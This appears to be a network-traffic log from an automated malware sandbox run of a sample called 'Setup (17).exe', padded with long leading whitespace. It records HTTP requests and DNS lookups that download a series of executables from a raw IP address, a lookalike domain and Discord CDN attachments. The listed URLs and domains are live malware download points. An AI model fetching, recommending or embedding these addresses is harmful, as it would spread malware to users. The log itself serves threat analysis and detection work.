                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 17:18:26 GMT
                                                                                                                                                                                                                                          ETag: "19000-5ca00dafcda72"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 102400
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file8.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file8.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 09:21:10 GMT
                                                                                                                                                                                                                                          ETag: "93400-5ca0e4dfa0fa1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 603136
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file4.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file4.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:09 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa740a236f"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file2.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file2.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa73efe499"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file6.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file6.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:17:53 GMT
                                                                                                                                                                                                                                          ETag: "1e800-5ca0f18d52659"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 124928
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file8.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file8.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 09:21:10 GMT
                                                                                                                                                                                                                                          ETag: "93400-5ca0e4dfa0fa1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 603136
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file3.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 19:05:24 GMT
                                                                                                                                                                                                                                          ETag: "98f80-5ca025989c343"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 626560
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file1.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "1a580-5c9fa73e739d1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 107904
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/PB14s.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/PB14s.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:50:06 GMT
                                                                                                                                                                                                                                          ETag: "28e00-5c9fa97a08c05"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 167424
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file2.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file2.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa73efe499"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file3.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:21 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 19:05:24 GMT
                                                                                                                                                                                                                                          ETag: "98f80-5ca025989c343"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 626560
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file7.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file7.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 17:18:26 GMT
                                                                                                                                                                                                                                          ETag: "19000-5ca00dafcda72"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 102400
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file4.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file4.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:09 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa740a236f"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file5.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file5.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 11:52:06 GMT
                                                                                                                                                                                                                                          ETag: "3259b8-5c9fc4bf36945"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 3299768
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file1.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:21 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "1a580-5c9fa73e739d1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 107904
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/PB14s.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/PB14s.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:21 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:50:06 GMT
                                                                                                                                                                                                                                          ETag: "28e00-5c9fa97a08c05"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 167424
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          i.spesgrt.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          i.spesgrt.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          i.spesgrt.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.88.226
                                                                                                                                                                                                                                          i.spesgrt.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.153.179
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://i.spesgrt.com/lqosko/p18j/customer3.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.88.226:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /lqosko/p18j/customer3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: i.spesgrt.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Dd4XJBtX7Jj9FjR5aoEH9Ad%2FGhF78SVZWpI9BlEfI8upUAyn%2FhZL2chNwIVX%2FCAtlzPcg7sSeGZpGS75Fp9Ig5SDo8VZ%2FFFNOZcyDoQa2Zgm6NL6%2BIKF4Fr7JMwnr898"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232537db53c785-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://i.spesgrt.com/lqosko/p18j/customer3.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.88.226:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /lqosko/p18j/customer3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: i.spesgrt.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KIEZJBtDncP7lLaFlaUfw9w%2FpUKqr2UOIm4C26Jyo9b5QC0ECAXxkLi4DzkDpMPHTkfpqTBZHj%2F0X3Y1HVgeR4fVt%2FXoGvkYcPiUz1uUB3ANKoN957HhDBgORNqZE%2FeP"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682325380b6ac785-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          111.90.156.58
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          kaleidographic.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          kaleidographic.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          kaleidographic.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          95.181.172.98
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/870454586861846551/870548989903274054/jooyu.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/870454586861846551/870548989903274054/jooyu.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Content-Type: application/xml; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 223
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232538cfbf4172-AMS
                                                                                                                                                                                                                                          Cache-Control: private, max-age=0
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: MISS
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdubK8g7KS_wuSVcOP2Hg-giV_rPsjFaRwtZq3Mbm7J6_N8-_mJhgLesh5BXWFmcobWO7ljzY196xRtBR4YQng
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Be1wg1UnuyW%2FXZxaVg1fEQNmtDdZFzcOosJx2oODvno37j3qyDtKF8TZHS%2FldcDFAJaMTP2Uh6%2BZZG8ZuD%2FNW2JkCVkcWJDSkNqNlleIAuvN%2FvZcm99Thr6%2Bg1fZxTkd%2Fj%2BuXw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524273927524433/app.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878524273927524433/app.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 4659240
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232538d8d54200-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 14276
